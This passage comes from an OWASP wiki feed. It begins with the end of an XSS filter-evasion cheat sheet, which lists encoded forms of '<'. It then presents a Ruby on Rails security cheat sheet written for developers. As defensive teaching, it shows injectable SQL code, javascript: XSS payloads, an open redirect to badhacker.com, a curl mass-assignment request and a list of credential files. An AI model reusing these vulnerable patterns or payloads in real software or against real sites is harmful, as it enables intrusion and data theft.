 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&lt;br /&gt;
= Character Encoding and IP Obfuscation Calculators =&lt;br /&gt;
&lt;br /&gt;
This following links include calculators for doing basic transformation functions that are useful for XSS.&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&amp;diff=181811</id>
		<title>Ruby on Rails Cheatsheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&amp;diff=181811"/>
				<updated>2014-09-05T16:31:22Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: Updated information about authorization gems&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This ''Cheatsheet'' intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the [http://guides.rubyonrails.org/security.html rails security guide] from rails core. The Rails framework abstracts developers from quite a bit of tedious work and provides the means to accomplish complex tasks quickly and with ease. New developers, those unfamiliar with the inner-workings of Rails, likely need a basic set of guidelines to secure fundamental aspects of their application. The intended purpose of this doc is to be that guide.&lt;br /&gt;
&lt;br /&gt;
= Items =&lt;br /&gt;
== Command Injection == &lt;br /&gt;
&lt;br /&gt;
Ruby offers a function called “eval” which will dynamically build new Ruby code based on Strings.  It also has a number of ways to call system commands.&lt;br /&gt;
 &lt;br /&gt;
   eval(&amp;quot;ruby code here&amp;quot;)&lt;br /&gt;
   System(&amp;quot;os command here&amp;quot;)&lt;br /&gt;
   `ls -al /`   (backticks contain os command)&lt;br /&gt;
   Kernel.exec(&amp;quot;os command here&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
While the power of these commands is quite useful, extreme care should be taken when using them in a Rails based application.  Usually, its just a bad idea.  If need be, a whitelist of possible values should be used and any input should be validated as thoroughly as possible.  The Ruby Security Reviewer's Guide has a  [http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_shell_injection section on injection]  and there are a number of OWASP references for it, starting at the top:  [https://www.owasp.org/index.php/Command_Injection Command Injection].&lt;br /&gt;
&lt;br /&gt;
== SQL Injection == &lt;br /&gt;
&lt;br /&gt;
Ruby on Rails is often used with an ORM called ActiveRecord, though it is flexible and can be used with other data sources.  Typically very simple Rails applications use methods on the Rails models to query data.  Many use cases protect for SQL Injection out of the box.  However, it is possible to write code that allows for SQL Injection.  &lt;br /&gt;
&lt;br /&gt;
Here is an example (Rails 2.X style):&lt;br /&gt;
&lt;br /&gt;
    @projects = Project.find(:all, :conditions =&amp;gt; “name like #{params[:name]}”)&lt;br /&gt;
&lt;br /&gt;
A Rails 3.X example:&lt;br /&gt;
&lt;br /&gt;
    name = params[:name]&lt;br /&gt;
    @projects = Project.where(“name like ‘“ + name + “‘“);&lt;br /&gt;
&lt;br /&gt;
In both of these cases, the statement is injectable because the name parameter is not escaped.  &lt;br /&gt;
&lt;br /&gt;
Here is the idiom for building this kind of statement:&lt;br /&gt;
&lt;br /&gt;
    @projects = Project.find(:all, :conditions =&amp;gt; [ “name like ?”, “#{params[:name]}”] )&lt;br /&gt;
&lt;br /&gt;
An AREL based solution:&lt;br /&gt;
&lt;br /&gt;
    @projects = Project.where(&amp;quot;name like ?&amp;quot;, &amp;quot;%#{params[:name]}%&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Use caution not to build SQL statements based on user controlled input.  A list of more realistic and detailed examples is here: [http://rails-sqli.org rails-sqli.org].  OWASP has extensive information about [https://www.owasp.org/index.php/SQL_Injection SQL Injection].&lt;br /&gt;
&lt;br /&gt;
== Cross-site Scripting (XSS) == &lt;br /&gt;
&lt;br /&gt;
By default, in Rails 3.0 protection against XSS comes as the default behavior.  When string data is shown in views, it is escaped prior to being sent back to the browser.  This goes a long way, but there are common cases where developers bypass this protection - for example to enable rich text editing.  In the event that you want to pass variables to the front end with tags intact, it is tempting to do the following in your .erb file (ruby markup).&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;%= raw @product.name %&amp;gt;   &lt;br /&gt;
    &amp;lt;%= @product.name.html_safe %&amp;gt;       These are examples of how NOT to do it!&lt;br /&gt;
    &amp;lt;%= content_tag @product.name %&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Unfortunately, any field that uses raw like this will be a potential XSS target.  Note that there are also widespread misunderstandings about html_safe.  [http://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html This writeup] describes the underlying SafeBuffer mechanism in detail.  Other tags that change the way strings are prepared for output can introduce similar issues, including content_tag.&lt;br /&gt;
&lt;br /&gt;
If you must accept HTML content from users, consider a markup language for rich text in an application (Examples include:  markdown and textile) and disallow HTML tags. This helps ensures that the input accepted doesn’t include HTML content that could be malicious. If you cannot restrict your users from entering HTML, consider implementing content security policy to disallow the execution of any javascript. And finally, consider using the #sanitize method that let's you whitelist allowed tags. Be careful, this method has been shown to be flawed numerous times and will never be a complete solution.&lt;br /&gt;
&lt;br /&gt;
An often overlooked XSS attack vector is the href value of a link:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;%= link_to “Personal Website”, @user.website %&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If @user.website contains a link that starts with “javascript:”, the content will execute when a user clicks the generated link:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;a href=”javascript:alert(‘Haxored’)”&amp;gt;Personal Website&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP provides more general information about XSS in a top level page: [https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 OWASP Cross Site Scripting].&lt;br /&gt;
&lt;br /&gt;
== Sessions ==&lt;br /&gt;
&lt;br /&gt;
By default, Ruby on Rails uses a Cookie based session store.  What that means is that unless you change something, the session will not expire on the server.  That means that some default applications may be vulnerable to replay attacks.  It also means that sensitive information should never be put in the session.&lt;br /&gt;
&lt;br /&gt;
The best practice is to use a database based session, which thankfully is very easy with Rails:&lt;br /&gt;
&lt;br /&gt;
    Project::Application.config.session_store :active_record_store&lt;br /&gt;
&lt;br /&gt;
There is an [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet OWASP Session Management Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
== Authentication == &lt;br /&gt;
&lt;br /&gt;
Generally speaking, Rails does not provide authentication by itself.  However, most developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication.  To enable authentication with Devise, one simply has to put the following in a controller:&lt;br /&gt;
&lt;br /&gt;
    class ProjectController &amp;lt; ApplicationController&lt;br /&gt;
        before_filter :authenticate_user&lt;br /&gt;
&lt;br /&gt;
As with other methods, this supports exceptions.  Note that by default Devise only requires 6 characters for a password.  The minimum can be changed in:  /config/initializers/devise.rb&lt;br /&gt;
&lt;br /&gt;
    config.password_length = 8..128&lt;br /&gt;
&lt;br /&gt;
There are several possible ways to enforce complexity.  One is to put a Validator in the user model.&lt;br /&gt;
      &lt;br /&gt;
    validate :password_complexity&lt;br /&gt;
    def password_complexity&lt;br /&gt;
       if password.present? and not password.match(/\A(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+\z/)&lt;br /&gt;
           errors.add :password, &amp;quot;must include at least one lowercase letter, one uppercase letter, and one digit&amp;quot;&lt;br /&gt;
       end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
There is an [https://www.owasp.org/index.php/Authentication_Cheat_Sheet OWASP Authentication Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
== Insecure Direct Object Reference or Forceful Browsing == &lt;br /&gt;
&lt;br /&gt;
By default, Ruby on Rails apps use a RESTful uri structure.  That means that paths are often intuitive and guessable.  To protect against a user trying to access or modify data that belongs to another user, it is important to specifically control actions.  Out of the gate on a vanilla Rails application, there is no such built in protection.  It is possible to do this by hand at the controller level.  &lt;br /&gt;
&lt;br /&gt;
It is also possible, and probably recommended, to consider resource-based access control libraries such as [https://github.com/CanCanCommunity/cancancan cancancan] (cancan replacement) or [https://github.com/elabs/pundit pundit]to do this. This ensures that all operations on a database object are authorized by the business logic of the application. &lt;br /&gt;
&lt;br /&gt;
More general information about this class of vulnerability is in the [https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References OWASP Top 10 Page].&lt;br /&gt;
&lt;br /&gt;
== CSRF (Cross Site Request Forgery) ==&lt;br /&gt;
&lt;br /&gt;
Ruby on Rails has specific, built in support for CSRF tokens.  To enable it, or ensure that it is enabled, find the base ApplicationController and look for a directive such as the following:&lt;br /&gt;
&lt;br /&gt;
    class ApplicationController &amp;lt; ActionController::Base&lt;br /&gt;
        protect_from_forgery&lt;br /&gt;
&lt;br /&gt;
Note that the syntax for this type of control includes a way to add exceptions.  Exceptions may be useful for API’s or other reasons - but should be reviewed and consciously included.  In the example below, the Rails ProjectController will not provide CSRF protection for the show method.&lt;br /&gt;
&lt;br /&gt;
   class ProjectController &amp;lt; ApplicationController&lt;br /&gt;
       protect_from_forgery :except =&amp;gt; :show&lt;br /&gt;
&lt;br /&gt;
Also note that by default Rails does not provide CSRF protection for any HTTP GET request.&lt;br /&gt;
&lt;br /&gt;
There is a top level OWASP page for [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 CSRF].&lt;br /&gt;
&lt;br /&gt;
== Mass Assignment and Strong Parameters == &lt;br /&gt;
&lt;br /&gt;
Although the major issue with Mass Assignment has been fixed by default in base Rails specifically when generating new projects, it still applies to older and upgraded projects so it is important to understand the issue and to ensure that only attributes that are intended to be modifiable are exposed.&lt;br /&gt;
&lt;br /&gt;
When working with a model, the attributes on the model will not be accessible to forms being posted unless a programmer explicitly indicates that:&lt;br /&gt;
&lt;br /&gt;
    class Project &amp;lt; ActiveRecord::Base&lt;br /&gt;
        attr_accessible :name, :admin&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
With the admin attribute accessible based on the example above, the following could work:&lt;br /&gt;
&lt;br /&gt;
    curl -d “project[name]=triage&amp;amp;project[admin]=1” host:port/projects&lt;br /&gt;
&lt;br /&gt;
Review accessible attributes to ensure that they should be accessible.  If you are working in Rails &amp;lt; 3.2.3 you should ensure that your attributes are whitelisted with the following:&lt;br /&gt;
&lt;br /&gt;
    config.active_record.whitelist_attributes = true&lt;br /&gt;
&lt;br /&gt;
In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x, and the strong_parameters_rails2 gem for Rails 2.3.x applications.&lt;br /&gt;
&lt;br /&gt;
== Redirects and Forwards == &lt;br /&gt;
&lt;br /&gt;
Web applications often require the ability to dynamically redirect users based on client-supplied data. To clarify, dynamic redirection usually entails the client including a URL in a parameter within a request to the application. Once received by the application, the user is redirected to the URL specified in the request. For example:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/redirect?url=http://www.example_commerce_site.com/checkout&lt;br /&gt;
&lt;br /&gt;
The above request would redirect the user to http://www.example.com/checkout.  The security concern associated with this functionality is leveraging an organization’s trusted brand to phish users and trick them into visiting a malicious site, in our example, “badhacker.com”.  Example:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/redirect?url=http://badhacker.com&lt;br /&gt;
&lt;br /&gt;
The most basic, but restrictive protection is to use the :only_path option. Setting this to true will essentially strip out any host information.&lt;br /&gt;
&lt;br /&gt;
    redirect_to params[:url], :only_path =&amp;gt; true&lt;br /&gt;
&lt;br /&gt;
If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the host and then take the host value and match it against regular expression patterns. Those regular expressions must, at a minimum, have anchors or there is a greater chance of an attacker bypassing the validation routine.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
    require ‘uri’&lt;br /&gt;
    host = URI.parse(“#{params[:url]}”).host&lt;br /&gt;
    validation_routine(host) if host    # this can be vulnerable to javascript://trusted.com/%0Aalert(0) so check .scheme and .port too&lt;br /&gt;
    def validation_routine(host)&lt;br /&gt;
        # Validation routine where we use  \A and \z as anchors *not* ^ and $&lt;br /&gt;
        # you could also check the host value against a whitelist&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
Also blind redirecting to user input parameter can lead to XSS. Example:&lt;br /&gt;
    redirect_to params[:to]&lt;br /&gt;
    &lt;br /&gt;
    http://example.com/redirect?to[status]=200&amp;amp;to[protocol]=javascript:alert(0)//&lt;br /&gt;
&lt;br /&gt;
The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to it’s value. Example:&lt;br /&gt;
&lt;br /&gt;
    ACCEPTABLE_URLS = {&lt;br /&gt;
        ‘our_app_1’ =&amp;gt; “https://www.example_commerce_site.com/checkout”,&lt;br /&gt;
        ‘our_app_2’ =&amp;gt; “https://www.example_user_site.com/change_settings”&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/redirect?url=our_app_1&lt;br /&gt;
&lt;br /&gt;
   def redirect&lt;br /&gt;
       url = ACCEPTABLE_URLS[“#{params[:url]}”]&lt;br /&gt;
       redirect_to url if url&lt;br /&gt;
   end&lt;br /&gt;
&lt;br /&gt;
There is a more general OWASP resource about [https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet Unvalidated Redirects and Forwards].&lt;br /&gt;
&lt;br /&gt;
== Dynamic Render Paths == &lt;br /&gt;
&lt;br /&gt;
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.&lt;br /&gt;
&lt;br /&gt;
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.&lt;br /&gt;
&lt;br /&gt;
== Cross Origin Resource Sharing ==&lt;br /&gt;
&lt;br /&gt;
Occasionally, a need arises to share resources with another domain. For example, a file-upload function that sends data via an AJAX request to another domain. In these cases, the same-origin rules followed by web browsers must be bent. Modern browsers, in compliance with HTML5 standards, will allow this to occur but in order to do this; a couple precautions must be taken.&lt;br /&gt;
&lt;br /&gt;
When using a nonstandard HTTP construct, such as an atypical Content-Type header, for example, the following applies:&lt;br /&gt;
&lt;br /&gt;
The receiving site should whitelist only those domains allowed to make such requests as well as set the Access-Control-Allow-Origin header in both the response to the OPTIONS request and POST request. This is because the OPTIONS request is sent first, in order to determine if the remote or receiving site allows the requesting domain. Next, a second request, a POST request, is sent. Once again, the header must be set in order for the transaction to be shown as successful.&lt;br /&gt;
&lt;br /&gt;
When standard HTTP constructs are used:&lt;br /&gt;
&lt;br /&gt;
The request is sent and the browser, upon receiving a response, inspects the response headers in order to determine if the response can and should be processed.&lt;br /&gt;
&lt;br /&gt;
Whitelist in Rails:&lt;br /&gt;
&lt;br /&gt;
Gemfile&lt;br /&gt;
    gem 'rack-cors', :require =&amp;gt; 'rack/cors'&lt;br /&gt;
&lt;br /&gt;
config/application.rb&lt;br /&gt;
    module Sample&lt;br /&gt;
        class Application &amp;lt; Rails::Application&lt;br /&gt;
            config.middleware.use Rack::Cors do&lt;br /&gt;
                allow do&lt;br /&gt;
                    origins 'someserver.example.com'&lt;br /&gt;
                    resource %r{/users/\d+.json},&lt;br /&gt;
                        :headers =&amp;gt; ['Origin', 'Accept', 'Content-Type'],&lt;br /&gt;
                        :methods =&amp;gt; [:post, :get]&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
== Security-related headers ==&lt;br /&gt;
&lt;br /&gt;
To set a header value, simply access the response.headers object as a hash inside your controller (often in a before/after_filter).&lt;br /&gt;
&lt;br /&gt;
  response.headers['X-header-name'] = 'value'&lt;br /&gt;
&lt;br /&gt;
'''Rails 4''' provides the &amp;quot;default_headers&amp;quot; functionality that will automatically apply the values supplied. This works for most headers in almost all cases.&lt;br /&gt;
&lt;br /&gt;
  ActionDispatch::Response.default_headers = {	  	&lt;br /&gt;
    'X-Frame-Options' =&amp;gt; 'DENY', 	&lt;br /&gt;
    'X-Content-Type-Options' =&amp;gt; 'nosniff',	  	&lt;br /&gt;
    'X-XSS-Protection' =&amp;gt; '1;'&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Strict transport security is a special case, it is set in an environment file (e.g. production.rb)&lt;br /&gt;
&lt;br /&gt;
  config.force_ssl = true&lt;br /&gt;
&lt;br /&gt;
For those not on the edge, there is a library ([https://github.com/twitter/secureheaders secure_headers]) for the same behavior with content security policy abstraction provided. It will automatically apply logic based on the user agent to produce a concise set of headers.&lt;br /&gt;
&lt;br /&gt;
== Business Logic Bugs ==&lt;br /&gt;
&lt;br /&gt;
Any application in any technology can contain business logic errors that result in security bugs.  Business logic bugs are difficult to impossible to detect using automated tools.  The best ways to prevent business logic security bugs are to do code review, pair program and write unit tests.&lt;br /&gt;
&lt;br /&gt;
== Attack Surface == &lt;br /&gt;
&lt;br /&gt;
Generally speaking, Rails avoids open redirect and path traversal types of vulnerabilities because of its /config/routes.rb file which dictates what URL’s should be accessible and handled by which controllers.  The routes file is a great place to look when thinking about the scope of the attack surface.  An example might be as follows:&lt;br /&gt;
&lt;br /&gt;
    match ':controller(/:action(/:id(.:format)))' # this is an example of what NOT to do&lt;br /&gt;
&lt;br /&gt;
In this case, this route allows any public method on any controller to be called as an action.  As a developer, you want to make sure that users can only reach the controller methods intended and in the way intended.&lt;br /&gt;
&lt;br /&gt;
== Sensitive Files == &lt;br /&gt;
&lt;br /&gt;
Many Ruby on Rails apps are open source and hosted on publicly available source code repositories.  Whether that is the case or the code is committed to a corporate source control system, there are certain files that should be either excluded or carefully managed.&lt;br /&gt;
&lt;br /&gt;
    /config/database.yml                 -  May contain production credentials.&lt;br /&gt;
    /config/initializers/secret_token.rb -  Contains a secret used to hash session cookie.&lt;br /&gt;
    /db/seeds.rb                         -  May contain seed data including bootstrap admin user.&lt;br /&gt;
    /db/development.sqlite3              -  May contain real data. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Encryption == &lt;br /&gt;
&lt;br /&gt;
Rails uses OS encryption.  Generally speaking, it is always a bad idea to write your own encryption.&lt;br /&gt;
&lt;br /&gt;
Devise by default uses bcrypt for password hashing, which is an appropriate solution.  Typically, the following config causes the 10 stretches for production:  /config/initializers/devise.rb&lt;br /&gt;
&lt;br /&gt;
    config.stretches = Rails.env.test? ? 1 : 10&lt;br /&gt;
&lt;br /&gt;
= Updating Rails and Having a Process for Updating Dependencies = &lt;br /&gt;
&lt;br /&gt;
In early 2013, a number of critical vulnerabilities were identified in the Rails Framework.  Organizations that had fallen behind current versions had more trouble updating and harder decisions along the way, including patching the source code for the framework itself.&lt;br /&gt;
&lt;br /&gt;
An additional concern with Ruby applications in general is that most libraries (gems) are not signed by their authors.  It is literally impossible to build a Rails based project with libraries that come from trusted sources.  One good practice might be to audit the gems you are using.&lt;br /&gt;
&lt;br /&gt;
In general, it is important to have a process for updating dependencies.  An example process might define three mechanisms for triggering an update of response: &lt;br /&gt;
* Every month/quarter dependencies in general are updated.&lt;br /&gt;
* Every week important security vulnerabilities are taken into account and potentially trigger an update.&lt;br /&gt;
* In EXCEPTIONAL conditions, emergency updates may need to be applied.&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Use [http://brakemanscanner.org/ brakeman], an open source code analysis tool for Rails applications, to identify many potential issues.  It will not necessarily produce comprehensive security findings, but it can find easily exposed issues.  A great way to see potential issues in Rails is to review the brakeman documentation of warning types.&lt;br /&gt;
&lt;br /&gt;
There are emerging tools that can be used to track security issues in dependency sets, like https://gemcanary.com/ and https://gemnasium.com/.&lt;br /&gt;
&lt;br /&gt;
Another area of tooling is the security testing tool [http://gauntlt.org Gauntlt] which is built on cucumber and uses gherkin syntax to define attack files.&lt;br /&gt;
&lt;br /&gt;
Launched in May 2013 and very similiar to brakeman scanner, the [http://rubygems.org/gems/codesake-dawn codesake-dawn] rubygem is a static analyzer for security issues that work with Rails, Sinatra and Padrino web applications. Version 0.60 has more than 30 ruby specific cve security checks and future releases custom checks against Cross Site Scripting and SQL Injections will be added&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors = &lt;br /&gt;
Matt Konda - mkonda [at] jemurai.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Neil Matatall neil [at] matatall.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Ken Johnson cktricky [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Justin Collins justin [at] presidentbeef.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jon Rose - jrose400 [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Lance Vaughn - lance [at] cabforward.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jon Claudius - jonathan.claudius [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico jim [at] owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Aaron Bedra aaron [at] aaronbedra.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Egor Homakov homakov [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Related Articles and References = &lt;br /&gt;
&lt;br /&gt;
* [http://guides.rubyonrails.org/security.html The Official Rails Security Guide]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Ruby_on_Rails_Security_Guide_V2 OWASP Ruby on Rails Security Guide]&lt;br /&gt;
* [http://code.google.com/p/ruby-security/wiki/Guide The Ruby Security Reviewers Guide]&lt;br /&gt;
* [https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security The Ruby on Rails Security Mailing List]&lt;br /&gt;
* [http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/ Rails Insecure Defaults]&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	</feed>